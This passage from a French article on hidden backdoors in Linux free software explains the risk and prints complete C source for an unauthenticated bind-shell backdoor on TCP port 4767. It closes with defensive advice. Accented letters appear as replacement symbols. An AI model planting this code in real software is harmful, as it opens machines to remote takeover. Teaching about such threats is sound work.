Le probl�me des acc�s cach�s est important, m�me dans le cas de logiciels libres. Naturellement lorsque l'on dispose des sources d'un programme, il est possible en principe de v�rifier tout ce qu'il fait. En r�alit�, peu de gens regardent v�ritablement le contenu des archives r�cup�r�es sur Internet. Par exemple le petit programme ci-dessous fournit un acc�s cach� complet, bien que sa taille soit suffisamment modeste pour le dissimuler dans une application consistante. Ce programme est une variation autour d'un exemple de mon livre [BLAESS 00] illustrant le m�canisme des pseudo-terminaux. Ce programme n'est pas tr�s lisible car les commentaires ont �t� supprim�s pour le raccourcir. La plupart des v�rifications d'erreur ont �galement �t� �limin�es pour les m�mes raisons. D�s qu'il est ex�cut�, il ouvre un serveur TCP/IP sur le port mentionn� au d�but du programme (4767 par d�faut) sur toutes les interfaces r�seau de la machine. Toute connexion demand�e sur ce port acc�dera automatiquement � un shell sans aucune phase d'authentification !!!
#define _GNU_SOURCE 500
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define ADRESSE_BACKDOOR INADDR_ANY
#define PORT_BACKDOOR 4767
int
main (void)
{
int sock;
int sockopt;
struct sockaddr_in adresse;
socklen_t longueur;
int sock2;
int pty_maitre;
int pty_esclave;
char * nom_pty;
struct termios termios;
char * args [2] = { "/bin/sh", NULL };
fd_set set;
char buffer [4096];
int n;
sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
memset (& adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
exit (1);
listen (sock, 5);
while (1) {
longueur = sizeof (struct sockaddr_in);
if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
continue;
if (fork () == 0) break;
close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, & termios);
if (fork () == 0) {
/* Fils : ex�cution d'un shell sur le
pseudo-TTY esclave */
close (pty_maitre);
setsid();
pty_esclave = open (nom_pty, O_RDWR);
tcsetattr (pty_esclave, TCSANOW, & termios);
dup2 (pty_esclave, STDIN_FILENO);
dup2 (pty_esclave, STDOUT_FILENO);
dup2 (pty_esclave, STDERR_FILENO);
execv (args [0], args);
exit (1);
}
/* P�re : copie de la socket vers le pseudo-TTY
ma�tre et inversement */
tcgetattr (pty_maitre, & termios);
cfmakeraw (& termios);
tcsetattr (pty_maitre, TCSANOW, & termios);
while (1) {
FD_ZERO (& set);
FD_SET (sock2, & set);
FD_SET (pty_maitre, & set);
if (select (pty_maitre < sock2 ? sock2+1 : pty_maitre+1,
& set, NULL, NULL, NULL) < 0)
break;
if (FD_ISSET (sock2, &set)) {
if ((n = read (sock2, buffer, 4096)) < 0)
break;
write (pty_maitre, buffer, n);
}
if (FD_ISSET (pty_maitre, &set)) {
if ((n = read (pty_maitre, buffer, 4096)) < 0)
break;
write (sock2, buffer, n);
}
}
return (0);
}
L'insertion d'un tel code dans une application volumineuse (par exemple
sendmail) passerait inaper�ue suffisamment longtemps pour
permettre des infiltrations pirates. De plus, certains sont pass�s ma�tres
dans l'art de dissimuler le fonctionnement d'un morceau de code, comme en
t�moignent les programmes soumis annuellement au concours de l'IOCCC
(International Obsfucated C Code Contest) par exemple.
Les acc�s cach�s ne doivent pas �tre consid�r�s uniquement comme des possibilit�s th�oriques. De tels d�boires ont �t� r�ellement rencontr�s par exemple dans le paquetage Piranha de la distribution Red-Hat 6.2 qui acceptait un mot de passe par d�faut. De m�me, le jeu Quake 2 a �t� accus� de dissimuler un acc�s cach� permettant l'ex�cution de commandes � distance.
Les m�canismes d'acc�s cach�s peuvent �galement se dissimuler sous des apparences tellement complexes qu'ils sont ind�tectables par le commun des mortels. Un cas typique est celui des syst�mes de cryptographie. Par exemple, le syst�me SE-Linux en cours de d�veloppement est une version de Linux dont la s�curit� a �t� renforc�e gr�ce � des patches fournis par la NSA. En dehors des probl�mes �thiques pos�s par l'irruption de cette institution dans le domaine du logiciel libre, certains h�sitent � employer les patches pour des raisons pratiques : s'il existe un organisme capable d'ins�rer volontairement dans un algorithme de cryptographie une faille exploitable mais suffisamment complexe pour rester invisible, c'est bien la NSA. Les d�veloppeurs Linux ayant examin� les patches propos�s ont d�clar� que rien ne leur paraissait suspect, mais personne n'a de v�ritables certitudes, et surtout, peu de gens pr�tendent avoir le niveau math�matique n�cessaire pour d�couvrir � coup s�r de telles failles.
Ces quelques observations des programmes nuisibles circulant dans l'environnement Gnu/Linux nous permettent d�j� de tirer une premi�re conclusion : le monde des logiciels libres n'est absolument pas � l'abri des virus, vers, chevaux de Troie et autres pestes ! Sans �tre alarmiste, il convient de rester attentif aux alertes de s�curit� concernant les applications courantes, d'autant plus que la connectivit� d'une station � Internet est grande. Il est important de prendre d�s � pr�sent de bonnes habitudes, mettre � jour les logiciels concern�s d�s qu'une faille de s�curit� est d�couverte, ne laisser tourner que les services r�seau vraiment utiles, ne charger des applications que depuis des sites de r�f�rence suppos�s de confiance, v�rifier le plus souvent possible les signatures PGP ou MD5 des paquetages charg�s. Les plus s�rieux automatiseront, gr�ce � des scripts par exemple, la v�rification des applications install�es (voir l'article de Fr�d�ric Raynal dans un futur num�ro).
Une seconde remarque s'impose : les deux dangers principaux guettant les syst�mes Linux dans l'avenir sont d'une part les applications de bureautique qui accepteront d'interpr�ter aveugl�ment les macros contenues dans les documents (y compris les courriers �lectroniques), et d'autre part les virus multi plates-formes qui tout en s'ex�cutant sous Windows, envahiront les fichiers ex�cutables se trouvant sur une partition Linux de la m�me machine. Si le premier probl�me rel�ve surtout du comportement de l'utilisateur, qui ne devra pas autoriser ses applications bureautiques � se comporter de mani�re trop laxiste, le second est fondamentalement difficile � r�soudre, m�me pour un administrateur consciencieux. � terme, de puissants d�tecteurs de virus devront probablement �tre mis en place sur les stations Linux connect�es � Internet ; esp�rons que de tels projets verront rapidement le jour dans le monde des logiciels libres.
Le nombre de documents traitant des virus, chevaux de Troie et autres menaces logicielles est assez important ; il existe beaucoup de textes d'actualit� recensant les virus courants, leurs fonctionnements et leurs effets. Naturellement la plupart de ces listes concernent l'environnement Dos/Windows, mais une partie d'entre-elles traite de Linux. Les articles cit�s ici sont plut�t des classiques �tudiant les m�canismes th�oriques mis en oeuvre.